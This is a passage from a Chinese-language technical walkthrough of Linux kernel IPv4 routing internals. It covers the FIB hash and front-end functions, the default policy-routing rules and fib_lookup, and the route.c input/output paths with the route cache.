显示路由表的路由信息 fn_hash_get_info fib_hash.c 750
选择默认路由 fn_hash_select_default fib_hash.c 842
2、语义操作(semantics operation):
语义操作并不涉及路由表整体框架的理解,而且,函数名也是不言自明的,
所以请大家参考fib_semantics.c。
3、接口(front end)
对于路由表接口的理解,关键在于理解那里有
IP
首先是路由表于IP层的接口。路由在目前linux的意义上来说,最主要的还是IP层的路由,
所以和IP层的的接口是最主要的接口。
和ip层的衔接主要是向IP层提供寻找路由、路由控制、寻找指定ip的接口。
Fil_lookup
ip_rt_ioctl fib_frontend.c 286;" f
ip_dev_find 145
Inet
路由表还必须提供配置接口,即用户直接操作路由的接口,例如增加和删除一条路由。
当然在策略性路由里,还有规则的添加和删除。
inet_rtm_delroute 351
inet_rtm_newroute 366
inet_check_attr 335
proc
在/proc/net/route里显示路由信息。
fib_get_procinfo
4、网络设备(net dev event)
路由是和硬件关联的,当网络设备启动或关闭的时候,
必须通知路由表的管理程序,更新路由表的信息。
fib_disable_ip 567
fib_inetaddr_event 575
fib_netdev_event
5、内部维护( magic)
上面我们提到,本地路由表(local table)的维护是由系统自动进行的。
也就是说当用户为硬件设置IP地址等的时候,系统自动在本地路由表里添加本地接口地址以及广播地址。
fib_magic 417
fib_add_ifaddr 459
fib_del_ifaddr 498
Rule
1、数据结构
规则在fib_rules.c的52行里定义为 struct fib_rule。
而RPDB里所有的路由是保存在101行的变量fib_rules里的,
注意这个变量很关键,它掌管着所有的规则,规则的添加和删除都是对这个变量进行的。
2、系统定义规则:
fib_rules被定义以后被赋予了三条默认的规则:默认规则,本地规则以及主规则。
u 本地规则local_rule
94 static struct fib_rule local_rule = {
r_next: &main_rule, /*下一条规则是主规则*/
r_clntref: ATOMIC_INIT(2),
r_table: RT_TABLE_LOCAL, /*指向本地路由表*/
r_action: RTN_UNICAST, /*动作是返回路由*/
};
u 主规则main_rule
86 static struct fib_rule main_rule = {
r_next: &default_rule,/*下一条规则是默认规则*/
r_clntref: ATOMIC_INIT(2),
r_preference: 0x7FFE, /*默认规则的优先级32766*/
r_table: RT_TABLE_MAIN, /*指向主路由表*/
r_action: RTN_UNICAST, /*动作是返回路由*/
};
u 默认规则default rule
79 static struct fib_rule default_rule = {
r_clntref: ATOMIC_INIT(2),
r_preference: 0x7FFF,/*默认规则的优先级32767*/
r_table: RT_TABLE_DEFAULT,/*指默认路由表*/
r_action: RTN_UNICAST,/*动作是返回路由*/
};
规则链的链头指向本地规则。
RPDB的中心函数fib_lookup
现在到了讨论RPDB的实现的的中心函数fib_lookup了。
RPDB通过提供接口函数fib_lookup,作为寻找路由的入口点,
在这里有必要详细讨论这个函数,下面是源代码:
上面的这段代码的思路是非常的清晰的。首先程序从优先级高到低扫描所有的规则,
如果规则匹配,处理该规则的动作。如果是普通的路由寻址或者是nat地址转换的换,
首先从规则得到路由表,然后对该路由表进行操作。这样RPDB终于清晰的显现出来了。
IP层路由适配(IP route)
路由表以及规则组成的系统,可以完成路由的管理以及查找的工作,但是为了使得IP层的路由工作更加的高效,linux的路由体系里,route.c里完成大多数IP层与RPDB的适配工作,以及路由缓冲(route cache)的功能。
调用接口
IP层的路由接口分为发送路由接口以及接收路由接口:
发送路由接口
IP层在发送数据时如果需要进行路由工作的时候,就会调用ip_route_out函数。这个函数在完成一些键值的简单转换以后,就会调用 ip_route_output_key函数,这个函数首先在缓存里寻找路由,如果失败就会调用 ip_route_output_slow,ip_route_output_slow里调用fib_lookup在路由表里寻找路由,如果命中,首先在缓存里添加这个路由,然后返回结果。
ip_route_out route.h
ip_route_output_key route.c 1984;
ip_route_output_slow route.c 1690;"
接收路由接口
IP层接到一个数据包以后,如果需要进行路由,就调用函数ip_route_input,ip_route_input现在缓存里寻找,如果失败则 ip_route_inpu调用ip_route_input_slow, ip_route_input_slow里调用fib_lookup在路由表里寻找路由,如果命中,首先在缓存里添加这个路由,然后返回结果。
ip_route_input_slow route.c 1312;" f
ip_route_input route.c 1622;" f
cache
路由缓存保存的是最近使用的路由。当IP在路由表进行路由以后,如果命中就会在路由缓存里增加该路由。同时系统还会定时检查路由缓存里的项目是否失效,如果失效则清除。